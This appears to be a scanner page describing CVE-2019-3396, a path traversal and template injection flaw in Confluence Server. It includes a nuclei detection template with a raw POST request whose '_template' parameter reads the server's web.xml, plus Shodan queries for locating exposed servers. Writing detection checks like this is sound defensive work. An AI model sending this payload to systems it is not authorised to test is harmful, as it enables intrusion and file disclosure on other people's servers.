Atlassian Confluence Server - Path Traversal

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

criticalseverity

9.8CVSS score

99.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

The Widget Connector macro in Atlassian Confluence Server before version 6.6.12 (the fixed version for 6.6.x), from version 6.7.0 before 6.12.3 (the fixed version for 6.12.x), from version 6.13.0 before 6.13.3 (the fixed version for 6.13.x), and from version 6.14.0 before 6.14.2 (the fixed version for 6.14.x), allows remote attackers to achieve path traversal and remote code execution on a Confluence Server or Data Center instance via server-side template injection.

Impact

Unauthenticated attackers can exploit server-side template injection to achieve path traversal and execute arbitrary code, leading to complete Confluence server compromise.

Fix

Apply the necessary security patches or upgrade to a patched version of Atlassian Confluence Server to mitigate this vulnerability.

How to confirm it

Send: POST /rest/tinymce/1/macro/preview
Positive when: contains "<param-name>contextConfigLocation</param-name>" AND status 200

Run it with nuclei: nuclei -id CVE-2019-3396 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-3396

info:
  name: Atlassian Confluence Server - Path Traversal
  author: harshbothra_
  severity: critical
  description: The Widget Connector macro in Atlassian Confluence Server before version 6.6.12 (the fixed version for 6.6.x), from version 6.7.0 before 6.12.3 (the fixed version for 6.12.x), from version 6.13.0 before 6.13.3 (the fixed version for 6.13.x), and from version 6.14.0 before 6.14.2 (the fixed version for 6.14.x), allows remote attackers to achieve path traversal and remote code execution on a Confluence Server or Data Center instance via server-side template injection.
  impact: |
    Unauthenticated attackers can exploit server-side template injection to achieve path traversal and execute arbitrary code, leading to complete Confluence server compromise.
  remediation: |
    Apply the necessary security patches or upgrade to a patched version of Atlassian Confluence Server to mitigate this vulnerability.
  reference:
    - https://github.com/x-f1v3/CVE-2019-3396
    - https://nvd.nist.gov/vuln/detail/CVE-2019-3396
    - https://jira.atlassian.com/browse/CONFSERVER-57974
    - http://packetstormsecurity.com/files/152568/Atlassian-Confluence-Widget-Connector-Macro-Velocity-Template-Injection.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-3396
    cwe-id: CWE-22
    epss-score: 0.99913
    epss-percentile: 0.99967
    cpe: cpe:2.3:a:atlassian:confluence:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: atlassian
    product: confluence
    shodan-query:
      - http.component:"Atlassian Confluence"
      - cpe:"cpe:2.3:a:atlassian:confluence"
      - http.component:"atlassian confluence"
  tags: cve,cve2019,atlassian,confluence,lfi,rce,kev,packetstorm,vkev,vuln

http:
  - raw:
      - |
        POST /rest/tinymce/1/macro/preview HTTP/1.1
        Host: {{Hostname}}
        Referer: {{Hostname}}

        {"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"../web.xml"}}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<param-name>contextConfigLocation</param-name>"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from